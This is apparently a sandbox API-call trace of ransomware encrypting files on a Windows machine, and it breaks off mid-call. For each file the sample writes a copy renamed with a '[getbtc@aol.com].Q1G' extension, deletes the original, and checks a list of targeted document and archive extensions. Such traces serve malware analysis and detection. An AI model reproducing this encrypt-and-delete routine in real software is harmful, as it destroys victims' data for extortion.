[0049.268] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\thmbnail.png.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x228 [0049.268] GetLastError () returned 0x0 [0049.268] ReadFile (in: hFile=0x208, lpBuffer=0x3290020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3290020*, lpNumberOfBytesRead=0x2b3fed4*=0xa5d5, lpOverlapped=0x0) returned 1 [0049.271] WriteFile (in: hFile=0x228, lpBuffer=0x3290020*, nNumberOfBytesToWrite=0xa5e0, lpNumberOfBytesWritten=0x2b3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3290020*, lpNumberOfBytesWritten=0x2b3fc9c*=0xa5e0, lpOverlapped=0x0) returned 1 [0049.273] ReadFile (in: hFile=0x208, lpBuffer=0x3290020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3290020*, lpNumberOfBytesRead=0x2b3fed4*=0x0, lpOverlapped=0x0) returned 1 [0049.273] WriteFile (in: hFile=0x228, lpBuffer=0x3290020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3290020*, lpNumberOfBytesWritten=0x2b3fc9c*=0xec, lpOverlapped=0x0) returned 1 [0049.273] SetEndOfFile (hFile=0x228) returned 1 [0049.273] CloseHandle (hObject=0x228) returned 1 [0049.273] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.273] SetEndOfFile (hFile=0x208) returned 1 [0049.274] CloseHandle (hObject=0x208) returned 1 [0049.274] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0049.274] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\thmbnail.png")) returned 1 [0049.274] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG") returned 74 [0049.274] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG") returned 74 [0049.274] lstrlenW (lpString=".doc") returned 4 [0049.274] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0049.275] lstrlenW (lpString=".docx") returned 5 [0049.275] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0049.275] lstrlenW (lpString=".pdf") returned 4 [0049.275] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0049.275] lstrlenW (lpString=".xls") returned 4 [0049.275] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0049.275] lstrlenW (lpString=".xlsx") returned 5 [0049.275] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0049.275] lstrlenW (lpString=".ppt") returned 4 [0049.275] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0049.275] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG") returned 74 [0049.275] lstrlenW (lpString=".zip") returned 4 [0049.275] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0049.275] lstrlenW (lpString=".rar") returned 4 [0049.275] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0049.275] lstrlenW (lpString=".bz2") returned 4 [0049.275] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0049.275] lstrlenW (lpString=".7z") returned 3 [0049.275] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0049.275] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG") returned 74 [0049.275] lstrlenW (lpString=".dbf") returned 4 [0049.275] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0049.275] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG") returned 74 [0049.275] lstrlenW (lpString=".1cd") returned 4 [0049.275] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0049.275] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG") returned 74 [0049.275] lstrlenW (lpString=".jpg") returned 4 [0049.275] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0049.275] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG") returned 74 [0049.275] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG") returned 74 [0049.275] lstrlenW (lpString=".doc") returned 4 [0049.275] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0049.275] lstrlenW (lpString=".docx") returned 5 [0049.275] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0049.275] lstrlenW (lpString=".pdf") returned 4 [0049.276] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0049.276] lstrlenW (lpString=".xls") returned 4 [0049.276] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0049.276] lstrlenW (lpString=".xlsx") returned 5 [0049.276] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0049.276] lstrlenW (lpString=".ppt") returned 4 [0049.276] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0049.276] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG") returned 74 [0049.276] lstrlenW (lpString=".zip") returned 4 [0049.276] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0049.276] lstrlenW (lpString=".rar") returned 4 [0049.276] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0049.276] lstrlenW (lpString=".bz2") returned 4 [0049.276] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0049.276] lstrlenW (lpString=".7z") returned 3 [0049.276] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0049.276] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG") returned 74 [0049.276] lstrlenW (lpString=".dbf") returned 4 [0049.276] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0049.276] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG") returned 74 [0049.276] lstrlenW (lpString=".1cd") returned 4 [0049.276] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0049.276] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG") returned 74 [0049.276] lstrlenW (lpString=".jpg") returned 4 [0049.276] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0049.276] lstrcmpiW (lpString1=".GIF", lpString2=".Q1G") returned -1 [0049.276] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0049.276] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0049.277] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x2b3ff1c | out: lpFileSize=0x2b3ff1c*=1571) returned 1 [0049.277] CloseHandle (hObject=0x208) returned 1 [0049.277] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\preview.gif")) returned 0x20 [0049.277] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\preview.gif.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0049.278] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0049.278] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.278] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.278] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\preview.gif.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x228 [0049.280] GetLastError () returned 0x0 [0049.280] ReadFile (in: hFile=0x208, lpBuffer=0x3290020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3290020*, lpNumberOfBytesRead=0x2b3fed4*=0x623, lpOverlapped=0x0) returned 1 [0049.281] WriteFile (in: hFile=0x228, lpBuffer=0x3290020*, nNumberOfBytesToWrite=0x630, lpNumberOfBytesWritten=0x2b3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3290020*, lpNumberOfBytesWritten=0x2b3fc9c*=0x630, lpOverlapped=0x0) returned 1 [0049.282] ReadFile (in: hFile=0x208, lpBuffer=0x3290020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3290020*, lpNumberOfBytesRead=0x2b3fed4*=0x0, lpOverlapped=0x0) returned 1 [0049.282] WriteFile (in: hFile=0x228, lpBuffer=0x3290020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2b3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3290020*, lpNumberOfBytesWritten=0x2b3fc9c*=0xea, lpOverlapped=0x0) returned 1 [0049.282] SetEndOfFile (hFile=0x228) returned 1 [0049.283] CloseHandle (hObject=0x228) returned 1 [0049.283] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.283] SetEndOfFile (hFile=0x208) returned 1 [0049.283] CloseHandle (hObject=0x208) returned 1 [0049.283] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0049.284] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\preview.gif")) returned 1 [0049.284] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF") returned 76 [0049.284] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF") returned 76 [0049.284] lstrlenW (lpString=".doc") returned 4 [0049.284] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0049.284] lstrlenW (lpString=".docx") returned 5 [0049.284] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0049.284] lstrlenW (lpString=".pdf") returned 4 [0049.284] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0049.284] lstrlenW (lpString=".xls") returned 4 [0049.284] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0049.284] lstrlenW (lpString=".xlsx") returned 5 [0049.284] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0049.284] lstrlenW (lpString=".ppt") returned 4 [0049.284] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0049.284] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF") returned 76 [0049.284] lstrlenW (lpString=".zip") returned 4 [0049.284] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0049.284] lstrlenW (lpString=".rar") returned 4 [0049.284] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0049.284] lstrlenW (lpString=".bz2") returned 4 [0049.284] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0049.284] lstrlenW (lpString=".7z") returned 3 [0049.284] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0049.285] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF") returned 76 [0049.285] lstrlenW (lpString=".dbf") returned 4 [0049.285] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0049.285] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF") returned 76 [0049.285] lstrlenW (lpString=".1cd") returned 4 [0049.285] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0049.285] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF") returned 76 [0049.285] lstrlenW (lpString=".jpg") returned 4 [0049.285] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0049.285] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF") returned 76 [0049.285] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF") returned 76 [0049.285] lstrlenW (lpString=".doc") returned 4 [0049.285] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0049.285] lstrlenW (lpString=".docx") returned 5 [0049.285] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0049.285] lstrlenW (lpString=".pdf") returned 4 [0049.285] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0049.285] lstrlenW (lpString=".xls") returned 4 [0049.285] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0049.285] lstrlenW (lpString=".xlsx") returned 5 [0049.285] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0049.285] lstrlenW (lpString=".ppt") returned 4 [0049.285] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0049.285] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF") returned 76 [0049.285] lstrlenW (lpString=".zip") returned 4 [0049.285] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0049.285] lstrlenW (lpString=".rar") returned 4 [0049.285] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0049.285] lstrlenW (lpString=".bz2") returned 4 [0049.285] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0049.285] lstrlenW (lpString=".7z") returned 3 [0049.285] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0049.285] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF") returned 76 [0049.285] lstrlenW (lpString=".dbf") returned 4 [0049.285] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0049.285] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF") returned 76 [0049.286] lstrlenW (lpString=".1cd") returned 4 [0049.286] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0049.286] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF") returned 76 [0049.286] lstrlenW (lpString=".jpg") returned 4 [0049.286] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0049.286] lstrcmpiW (lpString1=".PNG", lpString2=".Q1G") returned -1 [0049.286] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0049.286] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0049.287] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x2b3ff1c | out: lpFileSize=0x2b3ff1c*=30170) returned 1 [0049.287] CloseHandle (hObject=0x208) returned 1 [0049.287] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\thmbnail.png")) returned 0x20 [0049.287] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\thmbnail.png.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0049.287] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0049.287] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.287] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.287] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\thmbnail.png.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x228 [0049.288] GetLastError () returned 0x0 [0049.288] ReadFile (in: hFile=0x208, lpBuffer=0x3290020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3290020*, lpNumberOfBytesRead=0x2b3fed4*=0x75da, lpOverlapped=0x0) returned 1 [0049.290] WriteFile (in: hFile=0x228, lpBuffer=0x3290020*, nNumberOfBytesToWrite=0x75e0, lpNumberOfBytesWritten=0x2b3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3290020*, lpNumberOfBytesWritten=0x2b3fc9c*=0x75e0, lpOverlapped=0x0) returned 1 [0049.292] ReadFile (in: hFile=0x208, lpBuffer=0x3290020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3290020*, lpNumberOfBytesRead=0x2b3fed4*=0x0, lpOverlapped=0x0) returned 1 [0049.292] WriteFile (in: hFile=0x228, lpBuffer=0x3290020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3290020*, lpNumberOfBytesWritten=0x2b3fc9c*=0xec, lpOverlapped=0x0) returned 1 [0049.292] SetEndOfFile (hFile=0x228) returned 1 [0049.292] CloseHandle (hObject=0x228) returned 1 [0049.292] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.292] SetEndOfFile (hFile=0x208) returned 1 [0049.293] CloseHandle (hObject=0x208) returned 1 [0049.293] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0049.294] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\thmbnail.png")) returned 1 [0049.294] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG") returned 77 [0049.294] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG") returned 77 [0049.294] lstrlenW (lpString=".doc") returned 4 [0049.294] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0049.294] lstrlenW (lpString=".docx") returned 5 [0049.294] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0049.294] lstrlenW (lpString=".pdf") returned 4 [0049.294] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0049.294] lstrlenW (lpString=".xls") returned 4 [0049.294] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0049.294] lstrlenW (lpString=".xlsx") returned 5 [0049.294] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0049.294] lstrlenW (lpString=".ppt") returned 4 [0049.294] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0049.294] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG") returned 77 [0049.294] lstrlenW (lpString=".zip") returned 4 [0049.294] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0049.294] lstrlenW (lpString=".rar") returned 4 [0049.294] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0049.294] lstrlenW (lpString=".bz2") returned 4 [0049.294] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0049.294] lstrlenW (lpString=".7z") returned 3 [0049.294] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0049.294] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG") returned 77 [0049.294] lstrlenW (lpString=".dbf") returned 4 [0049.294] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0049.294] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG") returned 77 [0049.294] lstrlenW (lpString=".1cd") returned 4 [0049.295] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0049.295] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG") returned 77 [0049.295] lstrlenW (lpString=".jpg") returned 4 [0049.295] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0049.295] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG") returned 77 [0049.295] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG") returned 77 [0049.295] lstrlenW (lpString=".doc") returned 4 [0049.554] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0049.554] lstrlenW (lpString=".docx") returned 5 [0049.554] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0049.554] lstrlenW (lpString=".pdf") returned 4 [0049.554] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0049.554] lstrlenW (lpString=".xls") returned 4 [0049.554] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0049.554] lstrlenW (lpString=".xlsx") returned 5 [0049.554] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0049.554] lstrlenW (lpString=".ppt") returned 4 [0049.555] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0049.555] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG") returned 77 [0049.555] lstrlenW (lpString=".zip") returned 4 [0049.555] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0049.555] lstrlenW (lpString=".rar") returned 4 [0049.555] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0049.555] lstrlenW (lpString=".bz2") returned 4 [0049.555] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0049.555] lstrlenW (lpString=".7z") returned 3 [0049.555] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0049.555] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG") returned 77 [0049.555] lstrlenW (lpString=".dbf") returned 4 [0049.555] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0049.555] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG") returned 77 [0049.555] lstrlenW (lpString=".1cd") returned 4 [0049.555] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0049.555] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG") returned 77 [0049.555] lstrlenW (lpString=".jpg") returned 4 [0049.555] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0049.555] lstrcmpiW (lpString1=".CHM", lpString2=".Q1G") returned -1 [0049.555] lstrlenW (lpString="VBENDF98.CHM") returned 12 [0049.555] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbendf98.chm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0050.965] GetFileSizeEx (in: hFile=0x1d0, lpFileSize=0x2b3ff1c | out: lpFileSize=0x2b3ff1c*=72031) returned 1 [0050.965] CloseHandle (hObject=0x1d0) returned 1 [0050.965] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbendf98.chm")) returned 0x20 [0050.965] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbendf98.chm.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0050.966] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbendf98.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0050.966] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.966] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, 